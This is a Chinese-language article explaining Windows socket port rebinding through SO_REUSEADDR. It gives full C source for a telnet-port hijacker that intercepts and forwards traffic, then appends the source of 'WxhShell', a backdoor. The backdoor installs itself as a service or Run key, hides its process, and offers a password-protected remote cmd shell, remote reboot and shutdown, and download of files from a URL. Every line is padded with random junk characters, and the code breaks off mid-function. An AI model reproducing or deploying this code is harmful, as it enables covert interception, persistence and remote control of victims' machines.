在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
G_GV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<l/QS3M (yjx+K_[ saddr.sin_family = AF_INET;
&b[.bf ]Ek6EuaK saddr.sin_addr.s_addr = htonl(INADDR_ANY);
<j}n/G] Zl5cHejM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
dzIcX*" _MF:?p,l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+gZg7]!Z {tUjUwhz( 这意味着什么?意味着可以进行如下的攻击:
8$k `bZ Hc`)Q vFRW 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
EwvW: t1 'R&Y pR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
J9!}8uD j_::#?o!/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_4eSDO[h ;B4x> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ldd|"[Ds {}r#s> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
: GVyY]qBU 0E*q-$P 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,$i2vGd zX{O"w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
SG:Fn8 PtH>I,/ #include
f{
;L"*L #include
b-Q*!Ut #include
7jss3^.wA #include
x*]&Ca0+ DWORD WINAPI ClientThread(LPVOID lpParam);
>o=O^:/L int main()
]mDsd* 1 {
{+`'ZU6C WORD wVersionRequested;
vL>cYbJ< DWORD ret;
>
-P UY WSADATA wsaData;
asDk@Gcu BOOL val;
;WydXQ}Q^ SOCKADDR_IN saddr;
eIZ7uSl SOCKADDR_IN scaddr;
^HJvT)e4 int err;
p:*)rE SOCKET s;
}e/#dMEi SOCKET sc;
v5 |XyN" int caddsize;
N_3$B= HANDLE mt;
mGss9eZa DWORD tid;
DRp h?V\ wVersionRequested = MAKEWORD( 2, 2 );
MIV<"A err = WSAStartup( wVersionRequested, &wsaData );
%2H0JXKa, if ( err != 0 ) {
0:NCIsIm< printf("error!WSAStartup failed!\n");
\<cs:C\h7 return -1;
v[k;R }
ZGILV saddr.sin_family = AF_INET;
/INjP~C S511}KPbm/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
K]~! =j)v VFmG\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
gLm ]* saddr.sin_port = htons(23);
9%{V?r]k if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%y7&~me {
.A(QqL> printf("error!socket failed!\n");
Ptt return -1;
(d9G` }
54X=58Q val = TRUE;
*$%ch= //SO_REUSEADDR选项就是可以实现端口重绑定的
ld *W\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h/'b(9fS {
CcGE4BB printf("error!setsockopt failed!\n");
sBN"eHg return -1;
QcW6o, }
V/p+Xv(Zt //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
c(@(j8@S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
_wp>AJ r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@ Sq
=q=S prIPPeMdz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a ~ {
!?AgAsSmc ret=GetLastError();
V-1H(wRu printf("error!bind failed!\n");
5|nT5oS return -1;
4q9+a7@ }
Yz%A Kp listen(s,2);
L1Hk[j]X| while(1)
=nVEdRU {
o\TXWqt caddsize = sizeof(scaddr);
/$EX-!ie //接受连接请求
$,b1`* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
g1!ek if(sc!=INVALID_SOCKET)
0mt lM( {
UFE# J mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Q1Jw7R#?l if(mt==NULL)
"b~-`ni {
Gy]ZYo( printf("Thread Creat Failed!\n");
QL].)Vgf break;
(+(YQ2 }
.eBo:4T!d }
4!vovt{ CloseHandle(mt);
4](jV}Hg }
=&_Y=>rA]0 closesocket(s);
A$JL"~R WSACleanup();
.RazjXAY return 0;
j7(S= }
EPd9'9S DWORD WINAPI ClientThread(LPVOID lpParam)
)ajF ca@v {
h!~Qyb>W SOCKET ss = (SOCKET)lpParam;
v=pkze SOCKET sc;
bZ5cKQ\6 unsigned char buf[4096];
6E^h#Ozl
9 SOCKADDR_IN saddr;
BN_I#8r long num;
nB|m!fi< DWORD val;
KbXENz&C DWORD ret;
4MFdhJoN //如果是隐藏端口应用的话,可以在此处加一些判断
IPVD^a? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Kggc9^ 7 saddr.sin_family = AF_INET;
_c z$w5` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
s)A=hB-V saddr.sin_port = htons(23);
lH%%iYBM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tM:%{az {
S5+W<Qs printf("error!socket failed!\n");
fb=[gK#*, return -1;
ku3(cb!2 }
Md*~hb8J val = 100;
/bSAVSKR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iBXS {
a_T3< ret = GetLastError();
J<vVsz+7: return -1;
'kBq@> }
dzbFUDJ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
af>^<q {
O0Pb"ou_h. ret = GetLastError();
2ophh/] return -1;
{W' 9k }
P\rA>ZY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
F97HFt6{ {
)c<X.4 printf("error!socket connect failed!\n");
3oQ?VP closesocket(sc);
?qmJJ5Gn closesocket(ss);
"9v4'" return -1;
]aZ3_<b }
Zl\$9Q_ while(1)
U/s! Tb>` {
t_"]n*zk1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
fo"%4rkL //如果是嗅探内容的话,可以再此处进行内容分析和记录
-+HD5Hc //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)JXlPU num = recv(ss,buf,4096,0);
(:|rCZC if(num>0)
X(npgkVP\ send(sc,buf,num,0);
/J5)_>R: else if(num==0)
K/l*Saj break;
TN=!;SvQU num = recv(sc,buf,4096,0);
Zsto8wuf# if(num>0)
6k6}SlN[ send(ss,buf,num,0);
0%
zy 6{ else if(num==0)
#zed8I:w break;
T1U8ZEK<iu }
|44 E:pA closesocket(ss);
A|`mIma# closesocket(sc);
6
=H]p1p~O return 0 ;
e6i m_ Tk }
s= bP@[Gj o:c:hSV MC~<jJ, ==========================================================
\"|7o8 ~vscATQ 下边附上一个代码,,WXhSHELL
{%BPP{OFk 3Hi[Y[O`%P ==========================================================
oIv\Xdc8 1 .FeVbZW #include "stdafx.h"
z5g4+y, N
Wf IRL #include <stdio.h>
nc9sfH3 #include <string.h>
~N]pB]/][ #include <windows.h>
gkFw=Cd #include <winsock2.h>
5_+pgJL #include <winsvc.h>
D16w!Mnz{K #include <urlmon.h>
Ve[[J"ze m:)sUC0 #pragma comment (lib, "Ws2_32.lib")
j58'P 5N #pragma comment (lib, "urlmon.lib")
9CFh'>}$ :;URLl0 #define MAX_USER 100 // 最大客户端连接数
Zv5vYe9Ow #define BUF_SOCK 200 // sock buffer
XR+ #define KEY_BUFF 255 // 输入 buffer
zrL +:/t q^eLbivVE #define REBOOT 0 // 重启
nC5]IYL| #define SHUTDOWN 1 // 关机
>zV ly::? #define DEF_PORT 5000 // 监听端口
V)Ze>Pp )W^$7Em #define REG_LEN 16 // 注册表键长度
b#W(&b^q #define SVC_LEN 80 // NT服务名长度
x0||'0I0 -J;;6aA // 从dll定义API
/wPW2<|"X. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.OZ\s%h; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
lQqP4-E? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5I&Dk4v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*:Uq
;)* ^ pNA_s!S // wxhshell配置信息
Ov@vNj& struct WSCFG {
c@x6<S%* int ws_port; // 监听端口
}q=tg9 char ws_passstr[REG_LEN]; // 口令
$QnsP#ePN int ws_autoins; // 安装标记, 1=yes 0=no
f/670Acv char ws_regname[REG_LEN]; // 注册表键名
UgTgva>? char ws_svcname[REG_LEN]; // 服务名
CE7{>pl char ws_svcdisp[SVC_LEN]; // 服务显示名
#b@ sV$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Gg y7xb char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5"&=BD~D int ws_downexe; // 下载执行标记, 1=yes 0=no
u,JUMH]@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}$` PZUw> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
cuh Z_l }oL
l?L };
VK%
j45D ` J]5ZWo% // default Wxhshell configuration
OU[ FiW-E struct WSCFG wscfg={DEF_PORT,
|&_(I "xuhuanlingzhe",
FyqsFTh_ 1,
P-\65]`C "Wxhshell",
3'!*/UnU "Wxhshell",
N6BEl55 & "WxhShell Service",
I.- I4F)D "Wrsky Windows CmdShell Service",
S{nBQB< "Please Input Your Password: ",
Qov*xRO6 1,
4k)0OQeW6 "
http://www.wrsky.com/wxhshell.exe",
%(B6eiA "Wxhshell.exe"
;~Gez;AhK };
T\ [CQO ;v5Jps2^] // 消息定义模块
vlo!D9zsV3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[sl"\3) char *msg_ws_prompt="\n\r? for help\n\r#>";
^+}~"nvD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6o]j@o8V char *msg_ws_ext="\n\rExit.";
%&!B2z} char *msg_ws_end="\n\rQuit.";
rw#?NI: char *msg_ws_boot="\n\rReboot...";
J~}i}|YC> char *msg_ws_poff="\n\rShutdown...";
wg^'oy char *msg_ws_down="\n\rSave to ";
= ,c!V k1fX-2H char *msg_ws_err="\n\rErr!";
TTJj=KPA char *msg_ws_ok="\n\rOK!";
3Qd%`k Yb?(Q% char ExeFile[MAX_PATH];
bd&Nf2 int nUser = 0;
gp-rTdN HANDLE handles[MAX_USER];
a *qc int OsIsNt;
87rHW@\]( QPX3a8w* SERVICE_STATUS serviceStatus;
i2Sh^\Xw SERVICE_STATUS_HANDLE hServiceStatusHandle;
m0N{%Mf- a"8H(HAlNn // 函数声明
*0z'!m12 int Install(void);
Ebp=du int Uninstall(void);
DpIk$X int DownloadFile(char *sURL, SOCKET wsh);
a6'T]DW0W int Boot(int flag);
vk<4P;A(G void HideProc(void);
cHon' tS int GetOsVer(void);
6|Xm8,]yRw int Wxhshell(SOCKET wsl);
}'4aW_ta void TalkWithClient(void *cs);
.q'{3 int CmdShell(SOCKET sock);
ztC>*SX int StartFromService(void);
IJBIO>Z/ int StartWxhshell(LPSTR lpCmdLine);
w
sbzGW~= O+=C8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
gp4@6HuUd VOID WINAPI NTServiceHandler( DWORD fdwControl );
5UvqE_ <[V1z=Eo/] // 数据结构和表定义
Ph17(APt,Q SERVICE_TABLE_ENTRY DispatchTable[] =
xzBUm {
MS& 'Nj {wscfg.ws_svcname, NTServiceMain},
ZdlQ}l#F {NULL, NULL}
_f@nUv*
};
sV`p3L8pl i!+0''i{# // 自我安装
~N8$abQJV int Install(void)
eV\VR
!!i {
U,V+qnS char svExeFile[MAX_PATH];
;rC< C HKEY key;
$spk.j strcpy(svExeFile,ExeFile);
i}v3MO\X R/kF,}^F // 如果是win9x系统,修改注册表设为自启动
*mkL>v & if(!OsIsNt) {
x<=R?4@rq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g5t`YcL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B>%;"OMp RegCloseKey(key);
X{P=2h#g
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.QB)Y* z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%VS+?4ww RegCloseKey(key);
M 9KoQS return 0;
4E@_Fn_# }
VVk8z6W }
MGsY3~!K }
S&NWZ:E3[ else {
newURb,-! &e99P{\D // 如果是NT以上系统,安装为系统服务
!rff/0/x" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
40%<E if (schSCManager!=0)
c. }#.-b8 {
Xn%O .yM6 SC_HANDLE schService = CreateService
"X\6tl7a| (
(1Klj+"p% schSCManager,
dg4q+ wscfg.ws_svcname,
r?HbApV P wscfg.ws_svcdisp,
GxA[N SERVICE_ALL_ACCESS,
$J*lD-h- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ilwI qj SERVICE_AUTO_START,
unt{RVR% SERVICE_ERROR_NORMAL,
mj&$+z M> svExeFile,
=a(]@8$!1 NULL,
nc;iJ/\4 NULL,
T}K@ykT NULL,
WntolYd NULL,
URj2 evYW NULL
*@g>~q{` );
l]S% k& if (schService!=0)
>`I%^+z {
HH|N~pBJB CloseServiceHandle(schService);
Uac.8wQh CloseServiceHandle(schSCManager);
X;CRy, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9)D9'/{L# strcat(svExeFile,wscfg.ws_svcname);
n= FOB0= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L+_
JKc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?P(U/DS8 RegCloseKey(key);
'?d5L+9 return 0;
H Yw7* }
t_id/ }
d?N[bA
CloseServiceHandle(schSCManager);
MC%!>,tC }
3Hf_!C=g }
HEF\TH9 !%/(a)B$^$ return 1;
<J-.,: }
+f'@ ebhV;Q. // 自我卸载
]BfJ~+ N int Uninstall(void)
b
4A1M {
=jvL2ps< HKEY key;
s,H
}km a!\^O).pA if(!OsIsNt) {
(;(2n;i[M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S+GW}?! RegDeleteValue(key,wscfg.ws_regname);
/hAy1V6 RegCloseKey(key);
X-`PF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+7r?vo1 RegDeleteValue(key,wscfg.ws_regname);
DtkOb,wY RegCloseKey(key);
hpo*5Va return 0;
[midNC +, }
v;d3uunqv }
.@@&q4=& }
),5A&qT* else {
a|Wrc)UR t(xe*xS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[@/s! i @ if (schSCManager!=0)
ko6[Ej:TBo {
{~ 1
~V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
rs,:pU if (schService!=0)
>Zh^,T={G {
9!s)52qt if(DeleteService(schService)!=0) {
.Zr3!N.t CloseServiceHandle(schService);
fHXz{,?/w CloseServiceHandle(schSCManager);
U_~r0 return 0;
8}?w%FsN# }
fk\hrVP CloseServiceHandle(schService);
jRhRw; }
"89L^I CloseServiceHandle(schSCManager);
rAS2qt }
Vn?|\3KY }
69N8COLB >Y;[+#H[ return 1;
~z7Fz"o< }
B
!Z~j T <%S[6*6U // 从指定url下载文件
o^Qy71Uj int DownloadFile(char *sURL, SOCKET wsh)
'25zb+- {
<=@6UPsn2 HRESULT hr;
';I(#J6 char seps[]= "/";
CIAKXYM char *token;
+ De-U. char *file;
1l\.>H\E char myURL[MAX_PATH];
TmEh$M char myFILE[MAX_PATH];
7x.]
9J UD_8#DO{m1 strcpy(myURL,sURL);
G4wJv^6i9 token=strtok(myURL,seps);
Wx8n) while(token!=NULL)
]Ryg}DOQ {
}UqL2KXi4 file=token;
2C#b-Y1~N token=strtok(NULL,seps);
Su*Pd; }
G4G<Ow)` L6J.^tpO GetCurrentDirectory(MAX_PATH,myFILE);
9eEA80i7 strcat(myFILE, "\\");
I?CfdI strcat(myFILE, file);
!}=#h8fv send(wsh,myFILE,strlen(myFILE),0);
;upYam" send(wsh,"...",3,0);
)zu m.6pT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\:E=B1 if(hr==S_OK)
OhTd>~R`< return 0;
GP_%.fO\M else
U[NQ" return 1;
__[bKd. _m3#g1m{ }
#|F5Kh" l|fb;Giq=D // 系统电源模块
7mnZ,gpb int Boot(int flag)
#ib?6=sPC {
ltOsl-OpR HANDLE hToken;
*yN#q>1 TOKEN_PRIVILEGES tkp;
D9\ E kX }a!c if(OsIsNt) {
8jz7t:0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{r:5\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
J['i tkp.PrivilegeCount = 1;
T.q7~ba* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
oFp4*<\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7$"n.cr
: if(flag==REBOOT) {
9HZR%s[J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
dI~{0)s return 0;
+lw1v }
l42tTD8Awz else {
\!zM4ppr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^-%O return 0;
8HL8)G6 }
tfPe-U }
nI,-ftMD-| else {
XF`?5G~~# if(flag==REBOOT) {
<+AvbqDe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7$7#z\VWu return 0;
2xt$w% }
< [q{0, else {
:nxBM#:xu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hf5+$^RZ return 0;
@MfZP~T+ }
ML:H\ }
APq Yf<W (gb
vInZ return 1;
W!)B%.Q }
tWA<OOl
`bjPOA(g // win9x进程隐藏模块
CB>*(Mu void HideProc(void)
"\rR0V!wA {
E6clVa _dwJ; j`2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Y#rd'
8 if ( hKernel != NULL )
7xCm"jgP {
oe{,-<yck pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|[MtUWEW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
A8 j$c ~ FreeLibrary(hKernel);
@^,9O92l }
/N=M9i\; SD]rYIu+ return;
zS! +2/( }
zj7?2 (RI+4V1 // 获取操作系统版本
A (ZtA[G int GetOsVer(void)
;oVFcZSA {
@'JA3V} OSVERSIONINFO winfo;
:$N{NChx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yu$xQ~ o GetVersionEx(&winfo);
B\6%.R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
DB.)/(zWQ return 1;
b:W
x[+ else
d5qGTT ~a return 0;
?d@zTAI }
""x>-j4 6:AZZF1 // 客户端句柄模块
O.$OLK;v int Wxhshell(SOCKET wsl)
y1kI^B {
9bu1Ax1M SOCKET wsh;
pRFlmg@/} struct sockaddr_in client;
Io]KlR@!T DWORD myID;
qw}.
QwPT !]=S A & while(nUser<MAX_USER)
ONm-zRx| {
5 8gkE94 int nSize=sizeof(client);
YI+o:fGC5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
J6g:.jsK! if(wsh==INVALID_SOCKET) return 1;
]TSzT"_r~~ #P;vc{ Iq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@8U8> 'zDE if(handles[nUser]==0)
F 8 gw3 closesocket(wsh);
nD#uOep9 else
_TjRvILC nUser++;
G!g];7PG( }
`_ )5K u} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A9ZK :i7 UiH5iZ<r; return 0;
8eD/9PD=F }
Q=F^Y f iB3C.wd- // 关闭 socket
6(V"xjK void CloseIt(SOCKET wsh)
)*Rr5l /l {
ivJTE closesocket(wsh);
VMJK9|JC[ nUser--;
~A,(D- ExitThread(0);
Nuc2CB)J }
l` ?4O A\QrawBp0l // 客户端请求句柄
?xb2jZ/0X void TalkWithClient(void *cs)
G u#wH {
"rR$2`v" vfOG(EkG.? SOCKET wsh=(SOCKET)cs;
*DPKV$ char pwd[SVC_LEN];
DXx),?s> char cmd[KEY_BUFF];
nv%0EAa#} char chr[1];
LqoH]AcN int i,j;
|#x]/AXa0/ # &Z1d(! while (nUser < MAX_USER) {
c{wob%!> ?<D1]Xv if(wscfg.ws_passstr) {
ky@DH(^> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`a]feAl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CAbT9Wz& //ZeroMemory(pwd,KEY_BUFF);
P B"nf|pm i=0;
$QJ,V~ while(i<SVC_LEN) {
4\(|V
fy \vp^[,SI // 设置超时
.5+5ca fd_set FdRead;
#E@X'jwu struct timeval TimeOut;
1-?TjR FD_ZERO(&FdRead);
0{sYD*gK] FD_SET(wsh,&FdRead);
G[\3)@I TimeOut.tv_sec=8;
GFgh{'| TimeOut.tv_usec=0;
q.v_?X<_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?tf<AZ=+^L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
e4Xo(EY & yr34&M(a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xQ\S!py- pwd
=chr[0]; s -),Pv|
if(chr[0]==0xd || chr[0]==0xa) { T#D*B]oZ}
pwd=0; + wF5(
break; Rmh u"N/q
} <k7q9"\4
i++; LGPg\g`
} 1eMaKT_=
4nGr?%>
// 如果是非法用户,关闭 socket zH1ChgF=}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sH\ h{^
} <(B: "wI
QS2~}{v
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]hlYmT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }R)A%FKi@
S")*~)N@
while(1) { YveNsn
'cvc\=p
ZeroMemory(cmd,KEY_BUFF); |n\(I$
psB9~EU&Q
// 自动支持客户端 telnet标准 =pn(56
j=0; }d 16xp
while(j<KEY_BUFF) { 0A.9<&Lod
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W0KSLxM
cmd[j]=chr[0]; E?F?)!%
if(chr[0]==0xa || chr[0]==0xd) { T``~YoIdz
cmd[j]=0; -mqTlXM
break; 3R ZD=`
} 7A46?kfu
j++; J)_IfbY
} yMBFw:/o
WkK.ON^
// 下载文件 %!p/r`
if(strstr(cmd,"http://")) { 6D1tRo
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {b90c'8?a
if(DownloadFile(cmd,wsh)) i-31Cxb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8u bb~ B;
else :qO)^~x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6%2\bI.#
} )}5f'TK
else { ?\Lf=[
b'TkYa^
switch(cmd[0]) { 5.FAuzz
{^SHIL
// 帮助 _:.'\d(
case '?': { %XK<[BF
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \%/zf
break; G~`nLC^Y
} 1J O@G3,
// 安装 4-{f$Z@
case 'i': { \_PD@A9
if(Install()) 6yPh0n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WU<C7
else b5d;_-~d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p_l.a
break; ~h6aTN
} $sBje*;
// 卸载 yZ57uz
case 'r': { lO5*n|Ic,
if(Uninstall()) \A/??8cgXs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8$OV4X
else D}7G|gX1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ICB'?yZ,
break; qW'5Zk
} oEnCe
// 显示 wxhshell 所在路径 fDIKR[B
case 'p': {
h@"u==0
char svExeFile[MAX_PATH]; zwpgf
strcpy(svExeFile,"\n\r"); Fg-4u&Ik
strcat(svExeFile,ExeFile); a]8}zSUK
send(wsh,svExeFile,strlen(svExeFile),0); {1]/ok2k5
break; T^n0 =|
} &?j]L4%
// 重启 $Y31YA
case 'b': { u!K5jqP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xlU:&=|
if(Boot(REBOOT)) =}Xw}X+[WY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xyc`p[n&
else { %)@3V8 OI
closesocket(wsh); ^=gzms
ExitThread(0); H`X>
} TWAt)Q"J
break; ^Q""N<
} BA cnFO
// 关机 $Hbd:1%i
{
case 'd': { VA0p1AD
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @8xa"Dc
if(Boot(SHUTDOWN)) XZ!^kftyW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,zU7U L^I
else { WnZn$N.
closesocket(wsh); sFWH*kdP?
ExitThread(0); ,I|Tj C5
} YsXf+_._
break; r>gU*bs(
} ]^
"BLbDZ@
// 获取shell NY!"?Zko
case 's': { ,.T k"\@
CmdShell(wsh); }iCcXZ&5^
closesocket(wsh); A *_ |/o
ExitThread(0); )+xHv
break; /QK H30E
} \" W_\&X
// 退出 vynchZ+g]
case 'x': { qz2j55j
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }m0hq+p^
CloseIt(wsh); xh raf1v3\
break; `L1lGlt
} o?\v
8.n
// 离开 E3<~C(APW
case 'q': { a}#Jcy!e
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !>Ru= $9
closesocket(wsh); $2+(|VG4F
WSACleanup(); skRI\
exit(1); y%^TZ[S
break; +`H{
} 4+j:]poYG{
} SF2<
} L-\o zp
GVlTW?5
// 提示信息 C].w)B
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n:d7 Tv1Z8
} z3X:.%
} a'm\6AW2)
v<wR`7xG
return; EM&;SQ;C9
} iYHCa }
F;@A2WD
// shell模块句柄 6V@?/B
int CmdShell(SOCKET sock) ?}g#Mc
{ )]~;Ac^x
STARTUPINFO si; ~GZpAPg*
ZeroMemory(&si,sizeof(si)); 2%F!aeX
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N)H
_4L
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;YK{[$F
PROCESS_INFORMATION ProcessInfo; d|c>Y(
char cmdline[]="cmd"; @rT}V>2I
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ttaYtV]]
return 0; +W-,74A
} M~/R1\'&j
)Ap0" ?q
// 自身启动模式 KKLW-V\6K
int StartFromService(void) BDCFToSf|
{
P)$q
typedef struct XK 09x1r
{ z8"(Yy7m
DWORD ExitStatus; 9?xc3F2EBD
DWORD PebBaseAddress; \X?GzQkr
DWORD AffinityMask; ^.f`6 6/
DWORD BasePriority; ^%:syg_RM[
ULONG UniqueProcessId; O]nZr
ULONG InheritedFromUniqueProcessId; 6+;B2;*3
